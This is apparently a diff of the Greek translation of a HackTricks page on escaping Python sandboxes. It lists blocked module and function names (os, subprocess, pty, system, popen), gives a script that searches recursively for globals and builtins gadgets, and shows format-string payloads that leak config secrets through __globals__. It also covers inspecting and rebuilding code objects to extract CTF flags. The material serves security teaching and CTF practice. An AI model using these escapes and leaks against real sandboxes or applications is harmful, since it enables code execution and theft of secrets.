bad_libraries_names = ["os", "commands", "subprocess", "pty", "importlib", "imp", "sys", "builtins", "pip", "pdb"]
|
||||||
bad_func_names = ["system", "popen", "getstatusoutput", "getoutput", "call", "Popen", "spawn", "import_module", "__import__", "load_source", "execfile", "execute", "__builtins__"]
|
bad_func_names = ["system", "popen", "getstatusoutput", "getoutput", "call", "Popen", "spawn", "import_module", "__import__", "load_source", "execfile", "execute", "__builtins__"]
|
||||||
|
@ -556,11 +605,13 @@ execfile:
|
||||||
execute:
|
execute:
|
||||||
__builtins__: _ModuleLock, _DummyModuleLock, _ModuleLockManager, ModuleSpec, FileLoader, _NamespacePath, _NamespaceLoader, FileFinder, zipimporter, _ZipImportResourceReader, IncrementalEncoder, IncrementalDecoder, StreamReaderWriter, StreamRecoder, _wrap_close, Quitter, _Printer, DynamicClassAttribute, _GeneratorWrapper, WarningMessage, catch_warnings, Repr, partialmethod, singledispatchmethod, cached_property, _GeneratorContextManagerBase, _BaseExitStack, Completer, State, SubPattern, Tokenizer, Scanner, Untokenizer, FrameSummary, TracebackException, _IterationGuard, WeakSet, _RLock, Condition, Semaphore, Event, Barrier, Thread, CompletedProcess, Popen, finalize, _TemporaryFileCloser, _TemporaryFileWrapper, SpooledTemporaryFile, TemporaryDirectory, NullImporter, _HackedGetData, DOMBuilder, DOMInputSource, NamedNodeMap, TypeInfo, ReadOnlySequentialNamedNodeMap, ElementInfo, Template, Charset, Header, _ValueFormatter, _localized_month, _localized_day, Calendar, different_locale, AddrlistClass, _PolicyBase, BufferedSubFile, FeedParser, Parser, BytesParser, Message, HTTPConnection, SSLObject, Request, OpenerDirector, HTTPPasswordMgr, AbstractBasicAuthHandler, AbstractDigestAuthHandler, URLopener, _PaddedFile, Address, Group, HeaderRegistry, ContentManager, CompressedValue, _Feature, LogRecord, PercentStyle, Formatter, BufferingFormatter, Filter, Filterer, PlaceHolder, Manager, LoggerAdapter, _LazyDescr, _SixMetaPathImporter, Queue, _PySimpleQueue, HMAC, Timeout, Retry, HTTPConnection, MimeTypes, RequestField, RequestMethods, DeflateDecoder, GzipDecoder, MultiDecoder, ConnectionPool, CharSetProber, CodingStateMachine, CharDistributionAnalysis, JapaneseContextAnalysis, UniversalDetector, _LazyDescr, _SixMetaPathImporter, Bytecode, BlockFinder, Parameter, BoundArguments, Signature, _DeprecatedValue, _ModuleWithDeprecations, DSAParameterNumbers, DSAPublicNumbers, DSAPrivateNumbers, ObjectIdentifier, ECDSA, EllipticCurvePublicNumbers, EllipticCurvePrivateNumbers, RSAPrivateNumbers, RSAPublicNumbers, DERReader, BestAvailableEncryption, CBC, XTS, OFB, CFB, CFB8, CTR, GCM, Cipher, _CipherContext, _AEADCipherContext, AES, Camellia, TripleDES, Blowfish, CAST5, ARC4, IDEA, SEED, ChaCha20, _FragList, _SSHFormatECDSA, Hash, SHAKE128, SHAKE256, BLAKE2b, BLAKE2s, NameAttribute, RelativeDistinguishedName, Name, RFC822Name, DNSName, UniformResourceIdentifier, DirectoryName, RegisteredID, IPAddress, OtherName, Extensions, CRLNumber, AuthorityKeyIdentifier, SubjectKeyIdentifier, AuthorityInformationAccess, SubjectInformationAccess, AccessDescription, BasicConstraints, DeltaCRLIndicator, CRLDistributionPoints, FreshestCRL, DistributionPoint, PolicyConstraints, CertificatePolicies, PolicyInformation, UserNotice, NoticeReference, ExtendedKeyUsage, TLSFeature, InhibitAnyPolicy, KeyUsage, NameConstraints, Extension, GeneralNames, SubjectAlternativeName, IssuerAlternativeName, CertificateIssuer, CRLReason, InvalidityDate, PrecertificateSignedCertificateTimestamps, SignedCertificateTimestamps, OCSPNonce, IssuingDistributionPoint, UnrecognizedExtension, CertificateSigningRequestBuilder, CertificateBuilder, CertificateRevocationListBuilder, RevokedCertificateBuilder, _OpenSSLError, Binding, _X509NameInvalidator, PKey, _EllipticCurve, X509Name, X509Extension, X509Req, X509, X509Store, X509StoreContext, Revoked, CRL, PKCS12, NetscapeSPKI, _PassphraseHelper, _CallbackExceptionHelper, Context, Connection, _CipherContext, _CMACContext, _X509ExtensionParser, DHPrivateNumbers, DHPublicNumbers, DHParameterNumbers, _DHParameters, _DHPrivateKey, _DHPublicKey, Prehashed, _DSAVerificationContext, _DSASignatureContext, _DSAParameters, _DSAPrivateKey, _DSAPublicKey, _ECDSASignatureContext, _ECDSAVerificationContext, _EllipticCurvePrivateKey, _EllipticCurvePublicKey, _Ed25519PublicKey, _Ed25519PrivateKey, _Ed448PublicKey, _Ed448PrivateKey, _HashContext, _HMACContext, _Certificate, _RevokedCertificate, _CertificateRevocationList, _CertificateSigningRequest, _SignedCertificateTimestamp, OCSPRequestBuilder, _SingleResponse, OCSPResponseBuilder, _OCSPResponse, _OCSPRequest, _Poly1305Context, PSS, OAEP, MGF1, _RSASignatureContext, _RSAVerificationContext, _RSAPrivateKey, _RSAPublicKey, _X25519PublicKey, _X25519PrivateKey, _X448PublicKey, _X448PrivateKey, Scrypt, PKCS7SignatureBuilder, Backend, GetCipherByName, WrappedSocket, PyOpenSSLContext, ZipInfo, LZMACompressor, LZMADecompressor, _SharedFile, _Tellable, ZipFile, Path, _Flavour, _Selector, RawJSON, JSONDecoder, JSONEncoder, Cookie, CookieJar, MockRequest, MockResponse, Response, BaseAdapter, UnixHTTPConnection, monkeypatch, JSONDecoder, JSONEncoder, InstallProgress, TextProgress, BaseDependency, Origin, Version, Package, _WrappedLock, Cache, ProblemResolver, _FilteredCacheHelper, FilteredCache, _Framer, _Unframer, _Pickler, _Unpickler, NullTranslations, _wrap_close
|
__builtins__: _ModuleLock, _DummyModuleLock, _ModuleLockManager, ModuleSpec, FileLoader, _NamespacePath, _NamespaceLoader, FileFinder, zipimporter, _ZipImportResourceReader, IncrementalEncoder, IncrementalDecoder, StreamReaderWriter, StreamRecoder, _wrap_close, Quitter, _Printer, DynamicClassAttribute, _GeneratorWrapper, WarningMessage, catch_warnings, Repr, partialmethod, singledispatchmethod, cached_property, _GeneratorContextManagerBase, _BaseExitStack, Completer, State, SubPattern, Tokenizer, Scanner, Untokenizer, FrameSummary, TracebackException, _IterationGuard, WeakSet, _RLock, Condition, Semaphore, Event, Barrier, Thread, CompletedProcess, Popen, finalize, _TemporaryFileCloser, _TemporaryFileWrapper, SpooledTemporaryFile, TemporaryDirectory, NullImporter, _HackedGetData, DOMBuilder, DOMInputSource, NamedNodeMap, TypeInfo, ReadOnlySequentialNamedNodeMap, ElementInfo, Template, Charset, Header, _ValueFormatter, _localized_month, _localized_day, Calendar, different_locale, AddrlistClass, _PolicyBase, BufferedSubFile, FeedParser, Parser, BytesParser, Message, HTTPConnection, SSLObject, Request, OpenerDirector, HTTPPasswordMgr, AbstractBasicAuthHandler, AbstractDigestAuthHandler, URLopener, _PaddedFile, Address, Group, HeaderRegistry, ContentManager, CompressedValue, _Feature, LogRecord, PercentStyle, Formatter, BufferingFormatter, Filter, Filterer, PlaceHolder, Manager, LoggerAdapter, _LazyDescr, _SixMetaPathImporter, Queue, _PySimpleQueue, HMAC, Timeout, Retry, HTTPConnection, MimeTypes, RequestField, RequestMethods, DeflateDecoder, GzipDecoder, MultiDecoder, ConnectionPool, CharSetProber, CodingStateMachine, CharDistributionAnalysis, JapaneseContextAnalysis, UniversalDetector, _LazyDescr, _SixMetaPathImporter, Bytecode, BlockFinder, Parameter, BoundArguments, Signature, _DeprecatedValue, _ModuleWithDeprecations, DSAParameterNumbers, DSAPublicNumbers, DSAPrivateNumbers, ObjectIdentifier, ECDSA, EllipticCurvePublicNumbers, EllipticCurvePrivateNumbers, RSAPrivateNumbers, RSAPublicNumbers, DERReader, BestAvailableEncryption, CBC, XTS, OFB, CFB, CFB8, CTR, GCM, Cipher, _CipherContext, _AEADCipherContext, AES, Camellia, TripleDES, Blowfish, CAST5, ARC4, IDEA, SEED, ChaCha20, _FragList, _SSHFormatECDSA, Hash, SHAKE128, SHAKE256, BLAKE2b, BLAKE2s, NameAttribute, RelativeDistinguishedName, Name, RFC822Name, DNSName, UniformResourceIdentifier, DirectoryName, RegisteredID, IPAddress, OtherName, Extensions, CRLNumber, AuthorityKeyIdentifier, SubjectKeyIdentifier, AuthorityInformationAccess, SubjectInformationAccess, AccessDescription, BasicConstraints, DeltaCRLIndicator, CRLDistributionPoints, FreshestCRL, DistributionPoint, PolicyConstraints, CertificatePolicies, PolicyInformation, UserNotice, NoticeReference, ExtendedKeyUsage, TLSFeature, InhibitAnyPolicy, KeyUsage, NameConstraints, Extension, GeneralNames, SubjectAlternativeName, IssuerAlternativeName, CertificateIssuer, CRLReason, InvalidityDate, PrecertificateSignedCertificateTimestamps, SignedCertificateTimestamps, OCSPNonce, IssuingDistributionPoint, UnrecognizedExtension, CertificateSigningRequestBuilder, CertificateBuilder, CertificateRevocationListBuilder, RevokedCertificateBuilder, _OpenSSLError, Binding, _X509NameInvalidator, PKey, _EllipticCurve, X509Name, X509Extension, X509Req, X509, X509Store, X509StoreContext, Revoked, CRL, PKCS12, NetscapeSPKI, _PassphraseHelper, _CallbackExceptionHelper, Context, Connection, _CipherContext, _CMACContext, _X509ExtensionParser, DHPrivateNumbers, DHPublicNumbers, DHParameterNumbers, _DHParameters, _DHPrivateKey, _DHPublicKey, Prehashed, _DSAVerificationContext, _DSASignatureContext, _DSAParameters, _DSAPrivateKey, _DSAPublicKey, _ECDSASignatureContext, _ECDSAVerificationContext, _EllipticCurvePrivateKey, _EllipticCurvePublicKey, _Ed25519PublicKey, _Ed25519PrivateKey, _Ed448PublicKey, _Ed448PrivateKey, _HashContext, _HMACContext, _Certificate, _RevokedCertificate, _CertificateRevocationList, _CertificateSigningRequest, _SignedCertificateTimestamp, OCSPRequestBuilder, _SingleResponse, OCSPResponseBuilder, _OCSPResponse, _OCSPRequest, _Poly1305Context, PSS, OAEP, MGF1, _RSASignatureContext, _RSAVerificationContext, _RSAPrivateKey, _RSAPublicKey, _X25519PublicKey, _X25519PrivateKey, _X448PublicKey, _X448PrivateKey, Scrypt, PKCS7SignatureBuilder, Backend, GetCipherByName, WrappedSocket, PyOpenSSLContext, ZipInfo, LZMACompressor, LZMADecompressor, _SharedFile, _Tellable, ZipFile, Path, _Flavour, _Selector, RawJSON, JSONDecoder, JSONEncoder, Cookie, CookieJar, MockRequest, MockResponse, Response, BaseAdapter, UnixHTTPConnection, monkeypatch, JSONDecoder, JSONEncoder, InstallProgress, TextProgress, BaseDependency, Origin, Version, Package, _WrappedLock, Cache, ProblemResolver, _FilteredCacheHelper, FilteredCache, _Framer, _Unframer, _Pickler, _Unpickler, NullTranslations, _wrap_close
|
||||||
```
|
```
|
||||||
|
|
||||||
## Αναδρομική Αναζήτηση των Builtins, Globals...
|
## Αναδρομική Αναζήτηση των Builtins, Globals...
|
||||||
|
|
||||||
{% hint style="warning" %}
|
{% hint style="warning" %}
|
||||||
Αυτό είναι απλά **φοβερό**. Αν **ψάχνετε για ένα αντικείμενο όπως τα globals, builtins, open ή οτιδήποτε άλλο**, απλά χρησιμοποιήστε αυτό το σενάριο για να **αναζητήσετε αναδρομικά τα μέρη όπου μπορείτε να βρείτε αυτό το αντικείμενο.**
|
Αυτό είναι απλά **φοβερό**. Αν **ψάχνετε για ένα αντικείμενο όπως τα globals, builtins, open ή οτιδήποτε άλλο**, απλά χρησιμοποιήστε αυτό το σενάριο για να **αναζητήσετε αναδρομικά τα μέρη όπου μπορείτε να βρείτε αυτό το αντικείμενο.**
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
||||||
```python
|
```python
|
||||||
import os, sys # Import these to find more gadgets
|
import os, sys # Import these to find more gadgets
|
||||||
|
|
||||||
|
@ -676,10 +727,11 @@ print(SEARCH_FOR)
|
||||||
if __name__ == "__main__":
|
if __name__ == "__main__":
|
||||||
main()
|
main()
|
||||||
```
|
```
|
||||||
|
|
||||||
Μπορείτε να ελέγξετε την έξοδο αυτού του σεναρίου σε αυτήν τη σελίδα:
|
Μπορείτε να ελέγξετε την έξοδο αυτού του σεναρίου σε αυτήν τη σελίδα:
|
||||||
|
|
||||||
{% content-ref url="broken-reference/" %}
|
{% content-ref url="https://github.com/carlospolop/hacktricks/blob/gr/generic-methodologies-and-resources/python/bypass-python-sandboxes/broken-reference/README.md" %}
|
||||||
[broken-reference](broken-reference/)
|
[https://github.com/carlospolop/hacktricks/blob/gr/generic-methodologies-and-resources/python/bypass-python-sandboxes/broken-reference/README.md](https://github.com/carlospolop/hacktricks/blob/gr/generic-methodologies-and-resources/python/bypass-python-sandboxes/broken-reference/README.md)
|
||||||
{% endcontent-ref %}
|
{% endcontent-ref %}
|
||||||
|
|
||||||
## Μορφή Συμβολοσειράς Python
|
## Μορφή Συμβολοσειράς Python
|
||||||
|
@ -690,6 +742,7 @@ main()
|
||||||
Ωστόσο, υπάρχει μια **περιορισμένη** δυνατότητα, μπορείτε μόνο να χρησιμοποιήσετε τα σύμβολα `.[]`, οπότε **δεν θα μπορείτε να εκτελέσετε αυθαίρετο κώδικα**, μόνο να διαβάσετε πληροφορίες.\
|
Ωστόσο, υπάρχει μια **περιορισμένη** δυνατότητα, μπορείτε μόνο να χρησιμοποιήσετε τα σύμβολα `.[]`, οπότε **δεν θα μπορείτε να εκτελέσετε αυθαίρετο κώδικα**, μόνο να διαβάσετε πληροφορίες.\
|
||||||
_**Αν γνωρίζετε πώς να εκτελέσετε κώδικα μέσω αυτής της ευπάθειας, επικοινωνήστε μαζί μου.**_
|
_**Αν γνωρίζετε πώς να εκτελέσετε κώδικα μέσω αυτής της ευπάθειας, επικοινωνήστε μαζί μου.**_
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
||||||
```python
|
```python
|
||||||
# Example from https://www.geeksforgeeks.org/vulnerability-in-str-format-in-python/
|
# Example from https://www.geeksforgeeks.org/vulnerability-in-str-format-in-python/
|
||||||
CONFIG = {
|
CONFIG = {
|
||||||
|
@ -709,16 +762,20 @@ people = PeopleInfo('GEEKS', 'FORGEEKS')
|
||||||
st = "{people_obj.__init__.__globals__[CONFIG][KEY]}"
|
st = "{people_obj.__init__.__globals__[CONFIG][KEY]}"
|
||||||
get_name_for_avatar(st, people_obj = people)
|
get_name_for_avatar(st, people_obj = people)
|
||||||
```
|
```
|
||||||
|
|
||||||
Σημειώστε πώς μπορείτε **να έχετε πρόσβαση σε γνωρίσματα** με τον κανονικό τρόπο με ένα **τελεία** όπως `people_obj.__init__` και στοιχεία **λεξικού** με **παρενθέσεις** χωρίς εισαγωγικά `__globals__[CONFIG]`
|
Σημειώστε πώς μπορείτε **να έχετε πρόσβαση σε γνωρίσματα** με τον κανονικό τρόπο με ένα **τελεία** όπως `people_obj.__init__` και στοιχεία **λεξικού** με **παρενθέσεις** χωρίς εισαγωγικά `__globals__[CONFIG]`
|
||||||
|
|
||||||
Επίσης, μπορείτε να χρησιμοποιήσετε το `.__dict__` για να απαριθμήσετε στοιχεία ενός αντικειμένου `get_name_for_avatar("{people_obj.__init__.__globals__[os].__dict__}", people_obj = people)`
|
Επίσης, μπορείτε να χρησιμοποιήσετε το `.__dict__` για να απαριθμήσετε στοιχεία ενός αντικειμένου `get_name_for_avatar("{people_obj.__init__.__globals__[os].__dict__}", people_obj = people)`
|
||||||
|
|
||||||
Κάποια άλλα ενδιαφέροντα χαρακτηριστικά από τις συμβολοσειρές μορφοποίησης είναι η δυνατότητα **εκτέλεσης** των **συναρτήσεων** **`str`**, **`repr`** και **`ascii`** στο συγκεκριμένο αντικείμενο προσθέτοντας **`!s`**, **`!r`**, **`!a`** αντίστοιχα:
|
Κάποια άλλα ενδιαφέροντα χαρακτηριστικά από τις συμβολοσειρές μορφοποίησης είναι η δυνατότητα **εκτέλεσης** των **συναρτήσεων** **`str`**, **`repr`** και **`ascii`** στο συγκεκριμένο αντικείμενο προσθέτοντας **`!s`**, **`!r`**, **`!a`** αντίστοιχα:
|
||||||
|
|
||||||
```python
|
```python
|
||||||
st = "{people_obj.__init__.__globals__[CONFIG][KEY]!a}"
|
st = "{people_obj.__init__.__globals__[CONFIG][KEY]!a}"
|
||||||
get_name_for_avatar(st, people_obj = people)
|
get_name_for_avatar(st, people_obj = people)
|
||||||
```
|
```
|
||||||
|
|
||||||
Επιπλέον, είναι δυνατόν να **κωδικοποιήσετε νέους μορφοποιητές** σε κλάσεις:
|
Επιπλέον, είναι δυνατόν να **κωδικοποιήσετε νέους μορφοποιητές** σε κλάσεις:
|
||||||
|
|
||||||
```python
|
```python
|
||||||
class HAL9000(object):
|
class HAL9000(object):
|
||||||
def __format__(self, format):
|
def __format__(self, format):
|
||||||
|
@ -729,6 +786,7 @@ return 'HAL 9000'
|
||||||
'{:open-the-pod-bay-doors}'.format(HAL9000())
|
'{:open-the-pod-bay-doors}'.format(HAL9000())
|
||||||
#I'm afraid I can't do that.
|
#I'm afraid I can't do that.
|
||||||
```
|
```
|
||||||
|
|
||||||
**Περισσότερα παραδείγματα** σχετικά με παραδείγματα **μορφοποίησης** μπορούν να βρεθούν στο [**https://pyformat.info/**](https://pyformat.info)
|
**Περισσότερα παραδείγματα** σχετικά με παραδείγματα **μορφοποίησης** μπορούν να βρεθούν στο [**https://pyformat.info/**](https://pyformat.info)
|
||||||
|
|
||||||
{% hint style="danger" %}
|
{% hint style="danger" %}
|
||||||
|
@ -740,6 +798,7 @@ return 'HAL 9000'
|
||||||
{% endcontent-ref %}
|
{% endcontent-ref %}
|
||||||
|
|
||||||
### Πληροφορίες Αποκάλυψης Ευαίσθητων Δεδομένων
|
### Πληροφορίες Αποκάλυψης Ευαίσθητων Δεδομένων
|
||||||
|
|
||||||
```python
|
```python
|
||||||
{whoami.__class__.__dict__}
|
{whoami.__class__.__dict__}
|
||||||
{whoami.__globals__[os].__dict__}
|
{whoami.__globals__[os].__dict__}
|
||||||
|
@ -750,6 +809,7 @@ return 'HAL 9000'
|
||||||
# Access an element through several links
|
# Access an element through several links
|
||||||
{whoami.__globals__[server].__dict__[bridge].__dict__[db].__dict__}
|
{whoami.__globals__[server].__dict__[bridge].__dict__[db].__dict__}
|
||||||
```
|
```
|
||||||
|
|
||||||
## Ανάλυση Αντικειμένων Python
|
## Ανάλυση Αντικειμένων Python
|
||||||
|
|
||||||
{% hint style="info" %}
|
{% hint style="info" %}
|
||||||
|
@ -759,6 +819,7 @@ return 'HAL 9000'
|
||||||
Σε ορισμένα CTFs μπορεί να σας δίνεται το όνομα μιας **προσαρμοσμένης συνάρτησης όπου βρίσκεται η σημαία** και χρειάζεται να δείτε τα **εσωτερικά** της **συνάρτησης** για να την εξάγετε.
|
Σε ορισμένα CTFs μπορεί να σας δίνεται το όνομα μιας **προσαρμοσμένης συνάρτησης όπου βρίσκεται η σημαία** και χρειάζεται να δείτε τα **εσωτερικά** της **συνάρτησης** για να την εξάγετε.
|
||||||
|
|
||||||
Αυτή είναι η συνάρτηση προς επιθεώρηση:
|
Αυτή είναι η συνάρτηση προς επιθεώρηση:
|
||||||
|
|
||||||
```python
|
```python
|
||||||
def get_flag(some_input):
|
def get_flag(some_input):
|
||||||
var1=1
|
var1=1
|
||||||
|
@ -769,16 +830,20 @@ return "THIS-IS-THE-FALG!"
|
||||||
else:
|
else:
|
||||||
return "Nope"
|
return "Nope"
|
||||||
```
|
```
|
||||||
|
|
||||||
#### dir
|
#### dir
|
||||||
|
|
||||||
```python
|
```python
|
||||||
dir() #General dir() to find what we have loaded
|
dir() #General dir() to find what we have loaded
|
||||||
['__builtins__', '__doc__', '__name__', '__package__', 'b', 'bytecode', 'code', 'codeobj', 'consts', 'dis', 'filename', 'foo', 'get_flag', 'names', 'read', 'x']
|
['__builtins__', '__doc__', '__name__', '__package__', 'b', 'bytecode', 'code', 'codeobj', 'consts', 'dis', 'filename', 'foo', 'get_flag', 'names', 'read', 'x']
|
||||||
dir(get_flag) #Get info tof the function
|
dir(get_flag) #Get info tof the function
|
||||||
['__call__', '__class__', '__closure__', '__code__', '__defaults__', '__delattr__', '__dict__', '__doc__', '__format__', '__get__', '__getattribute__', '__globals__', '__hash__', '__init__', '__module__', '__name__', '__new__', '__reduce__', '__reduce_ex__', '__repr__', '__setattr__', '__sizeof__', '__str__', '__subclasshook__', 'func_closure', 'func_code', 'func_defaults', 'func_dict', 'func_doc', 'func_globals', 'func_name']
|
['__call__', '__class__', '__closure__', '__code__', '__defaults__', '__delattr__', '__dict__', '__doc__', '__format__', '__get__', '__getattribute__', '__globals__', '__hash__', '__init__', '__module__', '__name__', '__new__', '__reduce__', '__reduce_ex__', '__repr__', '__setattr__', '__sizeof__', '__str__', '__subclasshook__', 'func_closure', 'func_code', 'func_defaults', 'func_dict', 'func_doc', 'func_globals', 'func_name']
|
||||||
```
|
```
|
||||||
|
|
||||||
#### globals
|
#### globals
|
||||||
|
|
||||||
`__globals__` και `func_globals`(Ίδιο) Αποκτά το παγκόσμιο περιβάλλον. Στο παράδειγμα μπορείτε να δείτε μερικά εισαγμένα modules, μερικές παγκόσμιες μεταβλητές και το περιεχόμενό τους που δηλώνονται:
|
`__globals__` και `func_globals`(Ίδιο) Αποκτά το παγκόσμιο περιβάλλον. Στο παράδειγμα μπορείτε να δείτε μερικά εισαγμένα modules, μερικές παγκόσμιες μεταβλητές και το περιεχόμενό τους που δηλώνονται:
|
||||||
|
|
||||||
```python
|
```python
|
||||||
get_flag.func_globals
|
get_flag.func_globals
|
||||||
get_flag.__globals__
|
get_flag.__globals__
|
||||||
|
@ -787,11 +852,13 @@ get_flag.__globals__
|
||||||
#If you have access to some variable value
|
#If you have access to some variable value
|
||||||
CustomClassObject.__class__.__init__.__globals__
|
CustomClassObject.__class__.__init__.__globals__
|
||||||
```
|
```
|
||||||
|
|
||||||
[**Δείτε εδώ περισσότερα μέρη για να αποκτήσετε τα globals**](./#globals-and-locals)
|
[**Δείτε εδώ περισσότερα μέρη για να αποκτήσετε τα globals**](./#globals-and-locals)
|
||||||
|
|
||||||
### **Πρόσβαση στον κώδικα της συνάρτησης**
|
### **Πρόσβαση στον κώδικα της συνάρτησης**
|
||||||
|
|
||||||
**`__code__`** και `func_code`: Μπορείτε να **έχετε πρόσβαση** σε αυτό το **χαρακτηριστικό** της συνάρτησης για να **αποκτήσετε το αντικείμενο κώδικα** της συνάρτησης.
|
**`__code__`** και `func_code`: Μπορείτε να **έχετε πρόσβαση** σε αυτό το **χαρακτηριστικό** της συνάρτησης για να **αποκτήσετε το αντικείμενο κώδικα** της συνάρτησης.
|
||||||
|
|
||||||
```python
|
```python
|
||||||
# In our current example
|
# In our current example
|
||||||
get_flag.__code__
|
get_flag.__code__
|
||||||
|
@ -805,7 +872,9 @@ compile("print(5)", "", "single")
|
||||||
dir(get_flag.__code__)
|
dir(get_flag.__code__)
|
||||||
['__class__', '__cmp__', '__delattr__', '__doc__', '__eq__', '__format__', '__ge__', '__getattribute__', '__gt__', '__hash__', '__init__', '__le__', '__lt__', '__ne__', '__new__', '__reduce__', '__reduce_ex__', '__repr__', '__setattr__', '__sizeof__', '__str__', '__subclasshook__', 'co_argcount', 'co_cellvars', 'co_code', 'co_consts', 'co_filename', 'co_firstlineno', 'co_flags', 'co_freevars', 'co_lnotab', 'co_name', 'co_names', 'co_nlocals', 'co_stacksize', 'co_varnames']
|
['__class__', '__cmp__', '__delattr__', '__doc__', '__eq__', '__format__', '__ge__', '__getattribute__', '__gt__', '__hash__', '__init__', '__le__', '__lt__', '__ne__', '__new__', '__reduce__', '__reduce_ex__', '__repr__', '__setattr__', '__sizeof__', '__str__', '__subclasshook__', 'co_argcount', 'co_cellvars', 'co_code', 'co_consts', 'co_filename', 'co_firstlineno', 'co_flags', 'co_freevars', 'co_lnotab', 'co_name', 'co_names', 'co_nlocals', 'co_stacksize', 'co_varnames']
|
||||||
```
|
```
|
||||||
|
|
||||||
### Λήψη Πληροφοριών Κώδικα
|
### Λήψη Πληροφοριών Κώδικα
|
||||||
|
|
||||||
```python
|
```python
|
||||||
# Another example
|
# Another example
|
||||||
s = '''
|
s = '''
|
||||||
|
@ -851,7 +920,9 @@ get_flag.__code__.co_freevars
|
||||||
get_flag.__code__.co_code
|
get_flag.__code__.co_code
|
||||||
'd\x01\x00}\x01\x00d\x02\x00}\x02\x00d\x03\x00d\x04\x00g\x02\x00}\x03\x00|\x00\x00|\x02\x00k\x02\x00r(\x00d\x05\x00Sd\x06\x00Sd\x00\x00S'
|
'd\x01\x00}\x01\x00d\x02\x00}\x02\x00d\x03\x00d\x04\x00g\x02\x00}\x03\x00|\x00\x00|\x02\x00k\x02\x00r(\x00d\x05\x00Sd\x06\x00Sd\x00\x00S'
|
||||||
```
|
```
|
||||||
|
|
||||||
### **Αποσυναρμολόγηση μιας συνάρτησης**
|
### **Αποσυναρμολόγηση μιας συνάρτησης**
|
||||||
|
|
||||||
```python
|
```python
|
||||||
import dis
|
import dis
|
||||||
dis.dis(get_flag)
|
dis.dis(get_flag)
|
||||||
|
@ -879,7 +950,9 @@ dis.dis(get_flag)
|
||||||
44 LOAD_CONST 0 (None)
|
44 LOAD_CONST 0 (None)
|
||||||
47 RETURN_VALUE
|
47 RETURN_VALUE
|
||||||
```
|
```
|
||||||
|
|
||||||
Σημείωσε ότι αν δεν μπορείς να εισάγεις το `dis` στο περιβάλλον Python, μπορείς να αποκτήσεις το **bytecode** της συνάρτησης (`get_flag.func_code.co_code`) και να το **αποσυναρμολογήσεις** τοπικά. Δεν θα δεις το περιεχόμενο των μεταβλητών που φορτώνονται (`LOAD_CONST`) αλλά μπορείς να τις μαντέψεις από το (`get_flag.func_code.co_consts`) επειδή το `LOAD_CONST` δείχνει επίσης τη θέση της μεταβλητής που φορτώνεται.
|
Σημείωσε ότι αν δεν μπορείς να εισάγεις το `dis` στο περιβάλλον Python, μπορείς να αποκτήσεις το **bytecode** της συνάρτησης (`get_flag.func_code.co_code`) και να το **αποσυναρμολογήσεις** τοπικά. Δεν θα δεις το περιεχόμενο των μεταβλητών που φορτώνονται (`LOAD_CONST`) αλλά μπορείς να τις μαντέψεις από το (`get_flag.func_code.co_consts`) επειδή το `LOAD_CONST` δείχνει επίσης τη θέση της μεταβλητής που φορτώνεται.
|
||||||
|
|
||||||
```python
|
```python
|
||||||
dis.dis('d\x01\x00}\x01\x00d\x02\x00}\x02\x00d\x03\x00d\x04\x00g\x02\x00}\x03\x00|\x00\x00|\x02\x00k\x02\x00r(\x00d\x05\x00Sd\x06\x00Sd\x00\x00S')
|
dis.dis('d\x01\x00}\x01\x00d\x02\x00}\x02\x00d\x03\x00d\x04\x00g\x02\x00}\x03\x00|\x00\x00|\x02\x00k\x02\x00r(\x00d\x05\x00Sd\x06\x00Sd\x00\x00S')
|
||||||
0 LOAD_CONST 1 (1)
|
0 LOAD_CONST 1 (1)
|
||||||
|
@ -901,10 +974,12 @@ dis.dis('d\x01\x00}\x01\x00d\x02\x00}\x02\x00d\x03\x00d\x04\x00g\x02\x00}\x03\x0
|
||||||
44 LOAD_CONST 0 (0)
|
44 LOAD_CONST 0 (0)
|
||||||
47 RETURN_VALUE
|
47 RETURN_VALUE
|
||||||
```
|
```
|
||||||
|
|
||||||
## Συλλογή Python
|
## Συλλογή Python
|
||||||
|
|
||||||
Τώρα, ας φανταστούμε ότι μπορείτε **να ανακτήσετε τις πληροφορίες για μια συνάρτηση που δεν μπορείτε να εκτελέσετε** αλλά **χρειάζεστε** να την **εκτελέσετε**.\
|
Τώρα, ας φανταστούμε ότι μπορείτε **να ανακτήσετε τις πληροφορίες για μια συνάρτηση που δεν μπορείτε να εκτελέσετε** αλλά **χρειάζεστε** να την **εκτελέσετε**.\
|
||||||
Όπως στο παρακάτω παράδειγμα, **μπορείτε να έχετε πρόσβαση στο αντικείμενο κώδικα** αυτής της συνάρτησης, αλλά απλά διαβάζοντας την αποσυναρμολόγηση δεν **ξέρετε πώς να υπολογίσετε τη σημαία** (_φανταστείτε μια πιο πολύπλοκη συνάρτηση `calc_flag`_)
|
Όπως στο παρακάτω παράδειγμα, **μπορείτε να έχετε πρόσβαση στο αντικείμενο κώδικα** αυτής της συνάρτησης, αλλά απλά διαβάζοντας την αποσυναρμολόγηση δεν **ξέρετε πώς να υπολογίσετε τη σημαία** (_φανταστείτε μια πιο πολύπλοκη συνάρτηση `calc_flag`_)
|
||||||
|
|
||||||
```python
|
```python
|
||||||
def get_flag(some_input):
|
def get_flag(some_input):
|
||||||
var1=1
|
var1=1
|
||||||
|
@ -917,9 +992,11 @@ return calc_flag("VjkuKuVjgHnci")
|
||||||
else:
|
else:
|
||||||
return "Nope"
|
return "Nope"
|
||||||
```
|
```
|
||||||
|
|
||||||
### Δημιουργία του αντικειμένου κώδικα
|
### Δημιουργία του αντικειμένου κώδικα
|
||||||
|
|
||||||
Καταρχάς, πρέπει να ξέρουμε **πώς να δημιουργήσουμε και να εκτελέσουμε ένα αντικείμενο κώδικα** ώστε να μπορέσουμε να δημιουργήσουμε ένα για να εκτελέσουμε τη λειτουργία μας leaked:
|
Καταρχάς, πρέπει να ξέρουμε **πώς να δημιουργήσουμε και να εκτελέσουμε ένα αντικείμενο κώδικα** ώστε να μπορέσουμε να δημιουργήσουμε ένα για να εκτελέσουμε τη λειτουργία μας leaked:
|
||||||
|
|
||||||
```python
|
```python
|
||||||
code_type = type((lambda: None).__code__)
|
code_type = type((lambda: None).__code__)
|
||||||
# Check the following hint if you get an error in calling this
|
# Check the following hint if you get an error in calling this
|
||||||
|
@ -938,8 +1015,10 @@ mydict = {}
|
||||||
mydict['__builtins__'] = __builtins__
|
mydict['__builtins__'] = __builtins__
|
||||||
function_type(code_obj, mydict, None, None, None)("secretcode")
|
function_type(code_obj, mydict, None, None, None)("secretcode")
|
||||||
```
|
```
|
||||||
|
|
||||||
{% hint style="info" %}
|
{% hint style="info" %}
|
||||||
